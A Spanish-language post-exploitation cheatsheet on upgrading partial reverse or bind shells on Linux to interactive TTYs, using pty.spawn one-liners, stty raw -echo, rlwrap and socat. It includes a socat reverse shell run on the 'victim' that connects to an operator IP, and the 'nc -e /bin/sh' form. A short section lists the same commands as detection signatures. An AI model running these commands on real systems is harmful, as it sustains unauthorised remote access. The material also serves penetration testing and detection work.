Mejorar una Shell en Linux
Upgrade de shells parciales a TTY interactiva: pty.spawn, stty raw -echo, socat, rlwrap y shells por lenguaje.
Mejorar una Shell en Linux
Operational Scope & Technical Objective
Una reverse/bind shell parcial (p.ej. nc) carece de TTY: no soporta autocompletado, atajos de teclado, su, nano, clear ni control de jobs; además, Ctrl+C suele terminar la sesión. El objetivo es convertirla en una TTY interactiva completa: re-allocar un terminal (pty) con python -c 'import pty; pty.spawn(...)' o socat, y luego sincronizar las dimensiones del tty local con el remoto (stty rows/cols). Herramientas como rlwrap añaden edición de línea sobre shells sin TTY (clear con Ctrl+L, historial).
High-Impact Syntax & Command Cheatsheet
Upgrade estándar (método rlwrap-style / stty)
# 1) En la shell parcial
echo $TERM && tput lines && tput cols # dimensiones del tty local
# 2) Suspender la shell (Ctrl+Z) y, en el host local:
# para bash
stty raw -echo
fg
# para zsh
stty raw -echo; fg
# 3) De vuelta en la shell remota
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
stty raw -echo desactiva el procesado de línea y el eco en el tty local antes de fg, para que el pty remoto controle el terminal; reset restaura el modo del terminal, y stty rows/columns sincroniza las dimensiones.
Spawn de TTY por lenguaje
/bin/sh -i
### Python
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/bash")'
### Perl
perl -e 'exec "/bin/sh";'
perl -e 'exec "/bin/bash";'
perl -e 'exec "/bin/sh";'
### Ruby
ruby -e 'exec "/bin/sh"'
### Lua
lua -e 'os.execute("/bin/sh")'
Socat (TTY completa)
# (Kali / host del operador)
socat file:`tty`,raw,echo=0 tcp-listen:4444
# (Víctima)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
file:\tty` toma el terminal local sin proceso de línea (raw,echo=0); en la víctima ptyasigna un pseudo-terminal,stderrlo redirige,setsidcrea una sesión nueva,siginthabilita Ctrl+C ysane` restaura opciones del terminal. Alternativa del lado del operador:
socat file:`tty`,raw,echo=0 tcp-listen:12345
rlwrap
rlwrap envuelve la sesión con edición de línea e historial: permite limpiar la pantalla con Ctrl+L, usar flechas y borrado, aunque el shell siga sin ser un TTY real.
rlwrap nc localhost 80 # listener con soporte de línea sobre netcat
Real-World Offensive/Defensive Scenarios
-
Shells netcat parciales (ofensivo):
nc -e /bin/shonc -ccarecen de TTY; el flujopty.spawn+stty raw -echo; fg+stty rows/cols+export TERMconvierte la sesión en una shell usable parasu,nano, autocompletado y control de jobs sin perder la sesión al pulsar Ctrl+C. -
Entornos sin Python (ofensivo): si no hay
python,perl -e 'exec "/bin/sh";',rubyoluacubren el spawn de pty;socates la solución de TTY completa cuando el binario está disponible en el target. -
Defensa: las técnicas de upgrade de TTY no son explotables por sí mismas, pero su aparición en logs de procesos (
python -c 'import pty...', invocaciones desocatconpty,raw) es un indicador de actividad post-explotación; los EDR/HIDS pueden alertar sobresocat exec:'bash -li',ptycomo firma de shell interactiva.